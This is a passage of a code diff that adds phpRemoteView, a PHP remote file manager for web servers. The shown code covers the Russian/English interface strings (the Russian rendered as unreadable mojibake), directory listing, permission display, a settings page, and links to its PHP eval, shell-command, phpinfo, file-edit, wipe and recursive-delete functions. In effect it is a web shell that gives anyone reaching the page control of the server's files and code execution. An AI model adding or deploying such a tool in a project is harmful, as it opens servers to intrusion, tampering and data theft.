+"TOUCH"=>"��������", +"Set current 'mtime'"=>"�����.�����.�����", +"WIPE(delete)"=>"����������", +"Write '0000..' and delete"=>"������ ������, �������", +"COPY FILE"=>"���������� ����", +"COPY"=>"����������", +"MAKE DIR"=>"������� �������", +"type full path"=>"������� ������ ����", +"MkDir"=>"����.���.", +"CREATE NEW FILE or override old file"=>"������� ����� ���� ��� ������������ ������", +"CREATE/OVERRIDE"=>"�������/������������", +"select file on your local computer"=>"������� ���� �� ����� ��������� ����������", +"save this file on path"=>"��������� ���� ���� � �������", +"create file name automatic"=>"��������� ��� ����� �������������", +"OR"=>"���", +"type any file name"=>"������ ��� ����� �������", +"convert file name to lovercase"=>"�������������� ��� � ������ �������", +"Send File"=>"������� ����", +"Delete all files in dir"=>"������� ��� �����", +"Delete all dir/files recursive"=>"������� ��� +����������� ����������", +"Confirm not found (go back and set checkbox)"=>"������������� �� ���������� (��������� ����� � ��������� �������)", +"Delete cancel - File not found"=>"�������� �������� - ���� �� ������", +"YES"=>"��", +"ME"=>"����", +"NO (back)"=>"��� (�����)", +"Delete cancel"=>"�������� ��������", +"ACCESS DENIED"=>"������ ��������", +"done (go back)"=>"������ (�����)", +"Delete ok"=>"��, ��������", +"Touch cancel"=>"���������� ��������", +"Touch ok (set current time to 'modify time')"=>"���������� ��������� (����� ��������� ������� ����� �����������)", +"Clean (empty file) cancel"=>"�������� (��������� �����) ��������", +"Clean ok (file now empty)"=>"��, ������� (���� �������)", +"Wipe cancel - access denied"=>"����������� �������� - ������ ��������", +"Wipe ok (file deleted)"=>"��, ���������� (� ���� �����)", +"DIR"=>"DIR", +"Deleting all files in"=>"�������� ���� ������ �", +"skip"=>"�������", +"deleting"=>"��������", +"Deleting all dir/files (recursive) in"=>"�������� ���� ������/������������ (����������)", +"DONE, go back"=>"������, �����", +"DONE"=>"������", +"file not found"=>"���� �� ������", +"ONLY READ ACCESS (don't edit!)"=>"������ ������ �� ������ (�� �������������)", +"Can't READ file - access denied (don't edit!)"=>"�� ���� ������ ���� - ������ ��������", +"EDIT FILE"=>"������� ����", +"can't open, access denied"=>"�� ���� �������, ������ ��������", +"SAVE FILE (write to disk)"=>"��������� ���� (������ �� ����)", +"You mast checked 'create file name automatic' OR typed file name!"=>"�� ������ �������� ������� [������� ���� �������������] ��� ������ � ���� ��� �����!'", +"SAVING TO"=>"��������� �", +"Sorry, access denied"=>"��������, ������ ��������", +"for example, uncomment next line"=>"��� �������, ���������������� ��������� ������", +"Eval PHP code"=>"��������� PHP ���", +"don't type"=>"�� ������", +"and"=>"�", +"example (remove comments '#')"=>"������ (������� ����������� '#')", +"Shell commands"=>"������� Shell'a", +"filesize to 0byte"=>"������ � 0 ����", +"from"=>"��", +"to"=>"�", +"Full file name"=>"������ ��� �����", +"Can't open directory"=>"�� ���� ������� �������", +"setup"=>"���������", +"back"=>"�����", +"Reset all settings"=>"�������� ��� ���������", +"clear"=>"��������", +"Current"=>"�������", +"Colums and sort"=>"������� � ����������", +"Sort order"=>"������� ����������", +"Ascending sort"=>"�� �����������", +"Descending sort"=>"�� ��������", +"Sort by filename"=>"����������� �� ����� �����", +"Sort by filename extension"=>"����������� �� ���������� �����", +"Date/time format"=>"������ ����/�������", +"Panel font & size"=>"�����/������ ������", +"Setup"=>"�����", +"Char map"=>"�������", +"Language"=>"����", +"English"=>"����������", +"Russian"=>"�������", +"Character map (symbol codes table)"=>"������� ��������", +"Select font"=>"�������� �����", +"or type other"=>"��� ������� ������", +"Font size"=>"������ ������", +"Code limit"=>"������� �����", +"Generate table"=>"������������� �������", +"Universal convert"=>"������������� �����������" +);/*--mmstop--*/ + + + + + $language=$cc[5]; + if ($language!=1 && $language!=2) $language=1; + + +function mm($m) { + global $mm,$language; + if ($language==1) return $m; + if (isset($mm[$m])) return $mm[$m]; + else echo "<script>alert('(mm) msg not found: $m');</script>"; +} + + +switch ($language) { +case 1: +$cn_name=array( +'t'=>"Type", +'n'=>"Name", +'s'=>"Size", +'o'=>"Owner", +'g'=>"Group", +'a'=>"Owner/Group", +'c'=>"Perms", +'1'=>"Create", +'2'=>"Modify", +'3'=>"Access" +); +break; +case 2: +$cn_name=array( +'t'=>"���", +'n'=>"���", +'s'=>"������", +'o'=>"��������", +'g'=>"������", +'a'=>"��������/������", +'c'=>"�����", +'1'=>"������", +'2'=>"�������", +'3'=>"������" +); +break; +} + + + + +/////////////////////////////////////////////////////////////////////////////// + + + + $rand=microtime(); + + if (!isset($c)) $c=""; + if (!isset($d)) $d=""; + if (!isset($f)) $f=""; + + ob(); + $d=str_replace("\\","/",$d); + if ($d=="") $d=realpath("./")."/"; + if ($c=="") $c="l"; + if ($d[strlen($d)-1]!="/") $d.="/"; + $d=str_replace("\\","/",$d); + if (!is_dir($d)) obb().die("<h3><P>".mm("Can't open directory")." <tt><font color=red><big>$d</big></font></tt>$obb"); + if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb"); + obb(); + + // + // OS detect: + // + $win=0; + $unix=0; + if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1; + + + + +/////////////////////////////////////////////////////////////////////////////// + + +$html=<<<remview +<html><head> +<title>phpRemoteView: $d$f</title> +</head> +<body> +<style> +A { +text-decoration : none; +} +.t { +font-size: 9pt; +text-align : center; +font-family: Verdana; +} +.t2 { +font-size: 8pt; +text-align : center; +font-family: Verdana; +} +.n { + font-family: Fixedsys +} +.s { +font-size: 10pt; +text-align : right; +font-family: Verdana; +} +.sy { +font-family: Fixedsys; +} +.s2 { +font-family: Fixedsys; +color: red; +} +.tab { +font-size: 10pt; +text-align : center; +font-family: Verdana; +background: #cccccc; +} +.tr { +background: #ffffff; +} +</style> +remview; + + + +function display_perms($mode) +{ +if ($GLOBALS['win']) return 0; +/* Determine Type */ +if( $mode & 0x1000 ) +$type='p'; /* FIFO pipe */ +else if( $mode & 0x2000 ) +$type='c'; /* Character special */ +else if( $mode & 0x4000 ) +$type='d'; /* Directory */ +else if( $mode & 0x6000 ) +$type='b'; /* Block special */ +else if( $mode & 0x8000 ) +$type='-'; /* Regular */ +else if( $mode & 0xA000 ) +$type='l'; /* Symbolic Link */ +else if( $mode & 0xC000 ) +$type='s'; /* Socket */ +else +$type='u'; /* UNKNOWN */ + +/* Determine permissions */ +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; + +/* Adjust for SUID, SGID and sticky bit */ +if( $mode & 0x800 ) +$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) +$group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) +$world["execute"] = ($world['execute']=='x') ? 't' : 'T'; + +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + +function _posix_getpwuid($x) { + if ($GLOBALS['win']) return array(); + return @posix_getpwuid($x); +} + +function _posix_getgrgid($x) { + if ($GLOBALS['win']) return array(); + return @posix_getgrgid($x); +} + +function up($d,$f="",$name="") { + global $self,$win; + + $len=strlen($d."/".$f); + if ($len<70) { $sf1="<font size=4>"; $sf2="<font size=5>"; } + elseif ($len<90) {$sf1="<font size=3>"; $sf2="<font size=4>";} + else {$sf1="<font size=2>"; $sf2="<font size=3>";} + + echo "<table width=100% border=0 cellspacing=0 cellpadding=4><tr><td + bgcolor=#cccccc> $sf1"; + + $home="<a href='$self'><font face=fixedsys size=+2>*</font></a>"; + echo $home.$sf2."<b>"; + if ($name!="") echo $name; + else { + if ($f=="") echo mm("Index of"); + else echo mm("View file"); + } + echo "</b></font> "; + + $path=explode("/",$d); + + $rootdir="/"; + if ($win) $rootdir=strtoupper(substr($d,0,2))."/"; + + $ss=""; + for ($i=0; $i<count($path)-1; $i++) { + if ($i==0) + $comm="<b>&nbsp;&nbsp;<big><b>$rootdir</b></big></b>"; + else + $comm="$path[$i]<big><b>/</big></b>"; + + $ss.=$path[$i]."/"; + echo "<a href='$self?c=l&d=".urlencode($ss)."'>$comm</a>"; + if ($i==0 && $d=="/") break; + } + echo "</font>"; + if ($f!="") echo "$sf1$f</font>"; + + if ($win && strlen($d)<4 && $f=="") { + echo " &nbsp; ".mm("DISK").": "; + for ($i=ord('a'); $i<=ord('z'); $i++) { + echo "<a href=$self?c=l&d=".chr($i).":/>".strtoupper(chr($i)).":</a> "; + } + } + + echo "</b></big></td><td bgcolor=#999999 width=1% align=center> + <table width=100% border=0 cellspacing=3 cellpadding=0 + bgcolor=#ffffcc><tr><td align=center><font size=-1><nobr><b><a + href=$self?c=t&d=".urlencode($d).">".mm("REMVIEW TOOLS")."</a></b> + </nobr></font></td></tr></table> + </td></tr></table>"; +} + + +function up_link($d,$f) { + global $self; + $notepad=str_replace(".","_",$f).".txt"; +echo "<small> +[<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Info")."</b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=><b>".mm("Plain")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1>(+)</a></b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1><b>".mm("HTML")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1>(+)</a></b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4><b>".mm("Session")."</b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1><b>".mm("Image")."</b></a>] +[<a href=$self/".urlencode($notepad)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1&fatt=".urlencode($notepad)."><b>".mm("Notepad")."</b></a>] +[<a href=$self/".urlencode($f)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>".mm("DOWNLOAD")."</b></a>] +[<a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Edit")."</b></a>] +</small>"; +} + + +function exitw() { +exit("<table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd> +<tr><td align=center> +".mm("Sorry, this programm run in read-only mode.")."<br> +".mm("For full access: write")." `<tt><nobr><b>\$write_access=<u>true</u>;</b></nobr></tt>` +".mm("in this php-file").".</td></tr></table> +"); +} + + + +function ob() { + global $obb_flag, $obb; + if (!isset($obb_flag)) { $obb_flag=0; $obb=false; } + if (function_exists("ob_start")) { + if ($GLOBALS['obb_flag']) ob_end_clean(); + ob_start(); + $GLOBALS['obb_flag']=1; + } +} + +function obb() { + global $obb; + if (function_exists("ob_start")) { + $obb=ob_get_contents(); + ob_end_clean(); + $obb="<P> +<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td> +<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td align=center> +<b>".mm("Reason").":</b></td></tr></table> +</td></tr><tr><td> +<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td> +$obb<P> +</td></tr></table> +</table><P>"; + $GLOBALS['obb_flag']=0; + } +} + +function sizeparse($size) { + return strrev(preg_replace("!...!","\\0 ",strrev($size))); +} + + +function jsval($msg) { + $msg=str_replace("\\","\\\\",$msg); + $msg=str_replace("\"","\\\"",$msg); + $msg=str_replace("'","\\'",$msg); + return '"'.$msg.'",'; +} + + + +/////////////////////////////////////////////////////////////////////////// + + +switch($c) { + + +// listing +case "l": + + echo $GLOBALS['html']; + + if (!realpath($d)) die("".mm("Error path").". <a href=$self>".mm("Click here for start")."</a>."); + + //up($d); + + ob(); + $di=dir($d); + obb(); + + $dirs=array(); + $files=array(); + + if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")). + "><nobr>&lt;&lt;&lt; <b>".mm("up directory")."</b> &gt;&gt;&gt;</nobr></a> <p>". + "<font color=red><b>".mm("access denied")."</b></font>: $obb"); + while (false!==($name=$di->read())) { + if ($name=="." || $name=="..") continue; + if (@is_dir($d.$name)) { + $dirs[]=strval($name); + $fstatus[$name]=0; + } + else { + $files[]=strval($name); + $fstatus[$name]=1; + } + $fsize[$name]=@filesize($d.$name); + $ftype[$name]=@filetype($d.$name); + if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; } + $fperms[$name]=@fileperms($d.$name); + $fmtime[$name]=@filemtime($d.$name); + $fatime[$name]=@fileatime($d.$name); + $fctime[$name]=@filectime($d.$name); + $fowner[$name]=@fileowner($d.$name); + $fgroup[$name]=@filegroup($d.$name); + if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok)) + $fext[$name]=strtolower($ok[1]); + else + $fext[$name]=""; + } + $di->close(); + + $listsort=array(); + if (count($dirs)) + foreach ($dirs as $v) { + switch ($cc[0]) { + case "e": $listsort[$v]=$fext[$v].' '.$v; break; + case "n": $listsort[$v]=strtolower($v); break; + default: + switch ($cn[$cc[0]]) { + case "t": case "s": case "n": $listsort[$v]=strtolower($v); break; + case "o": $listsort[$v]=$fowner[$v]; break; + case "g": $listsort[$v]=$fgroup[$v]; break; + case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break; + case "c": $listsort[$v]=$fperms[$v]; break; + case "1": $listsort[$v]=$fctime[$v]; break; + case "2": $listsort[$v]=$fmtime[$v]; break; + case "3": $listsort[$v]=$fatime[$v]; break; + + } + } + } + + $names=$listsort; + //echo "<pre>";print_r($names); + if ($cc[1]) arsort($names); else asort($names); + //echo "<pre>";print_r($names); + + $listsort=array(); + if (count($files)) + foreach ($files as $v) { + $v=strval($v); + switch ($cc[0]) { + case "e": $listsort[$v]=$fext[$v].' '.$v; break; + case "n": $listsort[$v]=strtolower($v); break; + default: + switch ($cn[$cc[0]]) { + case "n": $listsort[$v]=strtolower($v); break; + case "t": $listsort[$v]=$ftype[$v]; break; + case "s": $listsort[$v]=$fsize[$v]; break; + case "o": $listsort[$v]=$fowner[$v]; break; + case "g": $listsort[$v]=$fgroup[$v]; break; + case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break; + case "c": $listsort[$v]=$fperms[$v]; break; + case "1": $listsort[$v]=$fctime[$v]; break; + case "2": $listsort[$v]=$fmtime[$v]; break; + case "3": $listsort[$v]=$fatime[$v]; break; + + } + } + } + + + //echo "<pre>DIRS:"; print_r($names); + if ($cc[1]) arsort($listsort); else asort($listsort); + //$names=array_merge($names,$listsort); + foreach ($listsort as $k=>$v) $names[$k]=$v; + //echo "<pre>FILES:"; print_r($listsort); + //echo "<pre>NAMES:"; print_r($names); + +?> +<STYLE> +.title { +color: 'black'; +background: #D4D0C8; +text-align: 'center'; +BORDER-RIGHT: #888888 1px outset; +BORDER-TOP: #ffffff 2px outset; +BORDER-LEFT: #ffffff 1px outset; +BORDER-BOTTOM: #888888 1px outset; +} +.window { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +BACKGROUND-COLOR: #D4D0C8; +CURSOR: default; +} +.window1 { +BORDER-RIGHT: #eeeeee 1px solid; +BORDER-TOP: #808080 1px solid; +BORDER-LEFT: #808080 1px solid; +BORDER-BOTTOM: #eeeeee 1px solid; +FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +} +.line { +BORDER-RIGHT: #cccccc 1px solid; +BORDER-TOP: #ffffff 1px solid; +BORDER-LEFT: #ffffff 1px solid; +BORDER-BOTTOM: #cccccc 1px solid; +font: <?php echo $cp[4]; ?>pt <?php echo $cp[3]; ?>; +} +.line2 { +background: #ffffcc; +} +.black {color: black} +a:link.black {color: black} +a:active.black {color: black} +a:visited.black {color: black} +a:hover.black {color: #0000ff} + +.white {color: white} +a:link.white{color: white} +a:active.white{color: white} +a:visited.white{color: white} +a:hover.white{color: #ffff77} + +a:link {color: #000099;} +a:active {color: #000099;} +a:visited {color: #990099;} +a:hover {color: #ff0000;} +a { +CURSOR: default; +} +.windowtitle { +font: 9pt; Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +font-weight: bold; +color: white; +} +.sym { +font: 14px Wingdings; +} +</STYLE> + +<?php + +function up2($d) { + global $win,$self; + $d=str_replace("\\","/",$d); + if (substr($d,-1)!="/") $d.="/"; + $d=str_replace("//","/",$d); + + $n=explode("/",$d); + unset($n[count($n)-1]); + + $path=""; + for ($i=0; $i<count($n); $i++) { + $path="$path$n[$i]/"; + if ($i==0) $path=strtoupper($path); + $paths[]=$path; + } + + $out=""; + $sum=0; + $gr=70; + for ($i=0; $i<count($n); $i++) { + $out.="<a href=$self?c=l&d=".urlencode($paths[$i])." class=white>"; + if (strlen($d)>$gr && $i>0 && $i+1<count($n)) { + if (strlen($d)-$sum>$gr) { + $out.="��"; + $sum+=strlen($n[$i]); + } + else + $out.=$n[$i]; + } + else + if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i]; + $out.="/</a>"; + + } + + return $out; + return "<font size=-2>$d</font>"; +} + +$ext=array(); +$ext['html']=array('html','htm','shtml'); +$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg'); +$ext['exe']=array('exe','com','pif','src','lnk'); +$ext['php']=array('php','phtml','php3','php4','inc'); +$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg'); + + + echo "\n\n\n<script>\nfunction tr("; + for ($i=0; $i<strlen($cn); $i++) { + echo "a$i,"; + } + echo "x) {\ndocument.write(\"<tr bgcolor=#eeeeee"; +// echo " onMouseOver='this.style.value=\\\"line2\\\"' onMouseOut='this.style.value=\\\"line\\\"'>"; + echo " onMouseOver='this.style.backgroundColor=\\\"#FFFFCC\\\"' onMouseOut='this.style.backgroundColor=\\\"\\\"'>"; + for ($i=0; $i<strlen($cn); $i++) { + echo '<td align='.$cn_align[$cn[$i]].' class=line '; + switch ($cn[$i]) { + case 's': case 'c': case '1': case '2': case '3': case 't': + echo ' nowrap'; + } + echo ">"; + if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0"; + echo "\"+a$i+\""; + if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0"; + echo "</td>"; + } + echo "</tr>\");\n}"; + echo "\n\n</script>\n\n\n"; + + + //phpinfo(); + //echo implode(" | ",$cp); + echo '<table border=0 cellspacing=2 cellpadding=0 bgcolor=#cccccc + class=window align=center width=60%><form name=main>'; + + echo '<tr><td colspan='.strlen($cn).' bgcolor=#0A246A background="'. + $self.'?c=img&name=fon&r=" class=windowtitle>'; + + echo '<table width=100% border=0 cellspacing=0 cellpadding=2 class=windowtitle><tr><td>'. + '<a href='.$self.'><img src='.$self.'?c=img&name=dir border=0></a>'. + up2($d.$f).'</td></tr></table>'; + + echo '</td></tr>'. + '<tr><td>'. + '<table width=100% border=0 cellspacing=0 cellpadding=0 class=window1><tr>'; + + $button_help=array( + 'up'=>"UP DIR", + 'refresh'=>"RELOAD", + 'mode'=>'SETUP, folder option', + 'edit'=>'DIR INFO', + 'home'=>'HomePage', + 'papki'=>'TREE', + 'setup'=>'PHP eval, Shell', + 'back'=>'BACK', + ); + + function button_url($name) { + global $self,$d,$f,$uurl; + switch ($name) { + case 'up': return "$self?c=l&d=".urlencode(realpath($d."..")); + case 'refresh': return "$self?c=l&r=".rand(0,10000)."&d=".urlencode($d); + case 'mode': return "$self?c=setup&ref=$uurl"; + case 'edit': return "$self?c=d&d=".urlencode($d); + case 'home': return "http://php.spb.ru/remview/"; + case 'papki': return "$self?c=tree&d=".urlencode($d); + case 'setup': return "$self?c=t"; + case 'back': return "javascript:history.back(-1)"; + } + } + echo '<td colspan='.strlen($cn).'> + <table border=0 cellspacing=0 cellpadding=2><tr>'; + $buttons=array('back','up','refresh','edit','mode','disk','full','papki','setup','home'); + $tmp=strtoupper($d[0]); + for ($i=0; $i<count($buttons); $i++) { + if ($buttons[$i]=='full') { + echo '<td class=window width=90% align=center nowrap><font color=#999999 face="Arial Black" + style="font-size: 11pt;">&lt;?php<u>R</u>emote<u>V</u>iew?&gt;</font></td>'; + continue; + } + if ($buttons[$i]=='disk') { + if (!$win) continue; + echo '<td width=1% title=\'Select dist\' class=window onMouseOver="this.style.backgroundColor=\'#eeee88\'" '. + ' onMouseOut="this.style.backgroundColor=\'\'">'; + echo "<select name=disk size=1; style='font: 9pt Arial Black; color: #999999 ' + onChange='location.href=\"$self?c=l&d=\"+document.main.disk.options[document.main.disk.selectedIndex].value+\":/\"'>"; + for ($j=ord('A'); $j<=ord('Z'); $j++) + echo '<option value="'.chr($j).'"'.(chr($j)==$tmp?" selected":"").'>'.chr($j); + echo "</select></td>"; + continue; + } + $bturl=button_url($buttons[$i]); + echo '<td width=1% title=\''.$button_help[$buttons[$i]].'\' class=window'. + ' onMouseMove="this.style.backgroundColor=\'#eeee88\';window.status=\'** '.$button_help[$buttons[$i]].' ** '.$bturl.'\'"'. + ' onMouseOut="this.style.backgroundColor=\'\';window.status=\'\'"'. + ' onClick=\'location.href="'.$bturl.'"\'><a href='; + echo button_url($buttons[$i]); + echo '><img HSPACE=3 border=0 src='.$self.'?c=img&name='.$buttons[$i].'></a></td>'; + } + echo '</tr></table> + </td></tr><tr>'; + + + for ($i=0; $i<strlen($cn); $i++) { + echo "<td nowrap class=title onClick='location.href=\"". + "$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl\"'"; + switch ($cn[$i]) { + case 1: case 2: case 3: case "s": echo " width=13%"; break; + case 't': echo " width=2%"; break; + case 'n': echo " width=40%"; break; + } + echo "><a href='$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl' class=black>"; + switch ($cn[$i]) { + case "n": case "t": case "s": case "o": case "g": + case "a": case "c": case "1": case "2": case "3": + echo "\xA0".$cn_name[$cn[$i]]."\xA0"; break; + default: + echo "??$cn[$i]??"; + } + if ($cc[0]==="$i") { + if ($cc[1]=='0') echo "<img src=$self?c=img&name=sort_asc border=0>"; + else echo "<img src=$self?c=img&name=sort_desc border=0>"; + } + echo '</a></td>'; + } + echo '</tr>'; + + echo "\n\n<script>\n\n"; + foreach ($names as $k=>$v) { + + echo "\n\n// $k \n"; + echo 'tr('; + + for ($i=0; $i<strlen($cn); $i++) { + + switch ($cn[$i]) { + + case 'n': + switch($ftype[$k]) { + case 'file': + $vv=strtolower(substr($k,strlen($k)-4,4)); + $add=""; + if ($vv==".gif" || $vv==".jpg" || $vv==".png" || $vv==".bmp" + || $vv==".ico" || $vv=="jpeg") $add="&ftype=2&fnot=1"; + if (substr($k,0,5)=="sess_") $add="&ftype=4"; + $ln='<a href='.$self.'?&c=v&d='.urlencode($d). + '&f='.urlencode($k).$add.'>'; + break; + + default: + $ln='<a href='.$self.'?&c=l&d='.urlencode($d.$k).'>'; + break; + } + + if ($ftype[$k]=='dir') + $ln.='<img src='.$self.'?c=img&name=dir border=0>'; + else { + $found=0; + foreach ($ext as $kk=>$vv) { + if (in_array(strtolower($fext[$k]),$vv)) { + $ln.='<img src='.$self.'?c=img&name='.$kk.' border=0>'; + $found=1; + break; + } + } + if (!$found) + $ln.='<img src='.$self.'?c=img&name=unk border=0>'; + } + $ln.=substr($k,0,48).'</a>'; + echo jsval($ln); + + break; + + case "t": + switch ($ftype[$k]) { + case "dir": + echo jsval("<a href=$self?c=d&d=".urlencode($d.$k).">DIR</a>"); + break; + case "file": + echo jsval("<a href=$self/".urlencode($k)."?&c=v&fnot=1&ftype=3&d=". + urlencode($d)."&f=".urlencode($k)." class=sym>\xF2</a> ". + "<a href=$self?&c=i&d=".urlencode($d)."&f=".urlencode($k)." class=sym>\xF0</a>"); + break; + case "link": + echo jsval("<font class=t>&#8212;&gt;</font>"); + break; + default: + echo jsval("??"); + break; + } + break; + + case "s": + if ($ftype[$k]=='file') echo jsval(sizeparse($fsize[$k])); + else echo jsval(''); + break; + + case "o": + $tmp=@_posix_getpwuid($fowner[$k]); + if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k]; + else $tow=$tmp['name']; + echo jsval($tow); + break; + + case "g": + $tmp2=@_posix_getgrgid($fgroup[$k]); + if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k]; + else $tgr=$tmp2['name']; + echo jsval($tgr); + break; + + case "a": + $tmp=@_posix_getpwuid($fowner[$k]); + if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k]; + else $tow=$tmp['name']; + $tmp2=@_posix_getgrgid($fgroup[$k]); + if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k]; + else $tgr=$tmp2['name']; + echo jsval("$tow/$tgr"); + break; + + case "c": + echo jsval(display_perms($fperms[$k])); break; + + case "1": echo jsval(date($cp[2],$fctime[$k])); break; + + case "2": echo jsval(date($cp[2],$fmtime[$k])); break; + + case "3": echo jsval(date($cp[2],$fatime[$k])); break; + + default: echo "??$cn[$i]??"; + + } //switch ($ftype) + + }//for ($cn) + + echo "0);\n"; + + }//foreach ($names) + + echo "\n\n</script>\n\n\n"; + + echo '</td></tr></table></td></tr></table></td></tr></table>'; + + + echo "<P align=center> + <font size=1 style='Font: 8pt Verdana'><B> + <a href=$self?c=setup&ref=$uurl>".mm("Setup")."</a> | + <a href=$self?c=t>PHP eval</a> | + <a href=$self?c=phpinfo>phpinfo()</a> | + <a href=$self?c=t>Shell</a> | + <a href=$self?c=codes>".mm("Char map")."</a> | + ".mm("Language").": + <a href=$self?c=set&c2=eng&ref=$uurl&pan=0>".mm("English")."</a>/<a href=$self?c=set&c2=rus&ref=$uurl&pan=0>".mm("Russian")."</a> + + </b> + <hr size=1 noshade width=55%><center> + + <table border=0 cellspacing=0 cellpadding=0><tr><td width=32> + <font face=webdings style='Font-size: 22pt;'>&#0033;</font></td><td> + <font size=1 style='Font: 8pt Verdana'>phpRemoteView &copy; Dmitry Borodin (".mm("version")." $version)<br> + ".mm("Free download")." - <a href='http://php.spb.ru/remview/'>http://php.spb.ru/remview/</a></b></font></td> + </tr></table>"; + +break; + + +case "set": + + switch ($c2) { + case "sort": + $name=intval($name); + if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0'; + $cc[0]=$name; + break; + + case "panel": + $cn=''; + foreach ($names as $k=>$v) { + if ($v!="") $cn.=substr($v,0,1); + } + $cc[0]=substr($sort,0,1); + $cc[1]=substr($sortby,0,1); + $cp[2]=substr($datetime,0,50); + $cp[3]=substr($fontname,0,50); + $cp[4]=substr($fontsize,0,50); + + //exit("cn=$cn<br>cc=$cc"); + break; + + case "eng": + $cc[5]=1; + break; + + case "rus": + $cc[5]=2; + break; + + } + + + $cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4]; + if ($c2=="reset") $cookie=implode("~",$cp_def); + //echo "<script>alert('$cookie')</script>"; + setcookie("cp$pan",$cookie,time()+24*60*60*333,'/'); + header("Location: $ref"); + echo "<script>location.href=\"$ref\";</script>"; + //echo "[$ref]"; + //phpinfo(); + break; + + +case "setup": + + echo $GLOBALS['html']; + + echo "<center><h3><b>phpRemoteView ".mm("setup")."</b> [<A href='javascript:history.go(-1)'>".mm("back")."</a>]</h3></center><hr size=1 noshade>"; + + echo "<STYLE> + .setup { + font-size: 8pt; + font-family: Tahoma; + } + HTML, TD {font: 90%} + </STYLE>"; + + echo " + <b><u>".mm("Reset all settings")."</u></b>: <a href=$self?c=set&c2=reset&pan=$panel&ref=$ref>".mm("clear")."</a>"; + echo " <font color=white>(".mm("Current").": <small>".implode(" | ",$cp)."</small>)</font><P>"; + + echo " + <form action=$self method=post> + <input type=hidden name=c value=\"set\"> + <input type=hidden name=c2 value=\"panel\"> + <input type=hidden name=pan value=\"$panel\"> + <input type=hidden name=ref value=\"$ref\"> + "; + echo "<b><u>".mm("Colums and sort")."</u></b><br>"; + + echo "".mm("Sort order").": "; + echo "<input type=radio name=sortby value=0 id=q3 ".($cc[1]=='0'?"checked":"").">"; + echo "<label for=q3>".mm("Ascending sort")."</label>"; + echo "<input type=radio name=sortby value=1 id=q4 ".($cc[1]=='1'?"checked":"").">"; + echo "<label for=q4>".mm("Descending sort")."</label><br>"; + + echo "<input type=radio name=sort value='n' id=q1 ".($cc[0]=='n'?"checked":"").">"; + echo "<label for=q1>".mm("Sort by filename")."</label>"; + echo "<input type=radio name=sort value='e' id=q2 ".($cc[0]=='e'?"checked":"").">"; + echo "<label for=q2>".mm("Sort by filename extension")."</label>"; + echo "<table border=0 cellspacing=0 cellpadding=3>"; + for ($i=0; $i<2; $i++) { + echo "<tr>"; + for ($j=0; $j<7; $j++) { + $n=$j+$i*7; + echo "<td align=center><label for=$n>Sort by ".($n+1)."</label>"; + echo "<input type=radio name=sort value=$n id=$n ".($cc[0]=="$n"?"checked":"").">"; + echo "<br><select class=setup name=names[] size=".(count($cn_name)+1).">"; + echo "<option value=''>--hidden--"; + foreach ($cn_name as $kk=>$vv) + echo "<option value='$kk'".($n<strlen($cn) 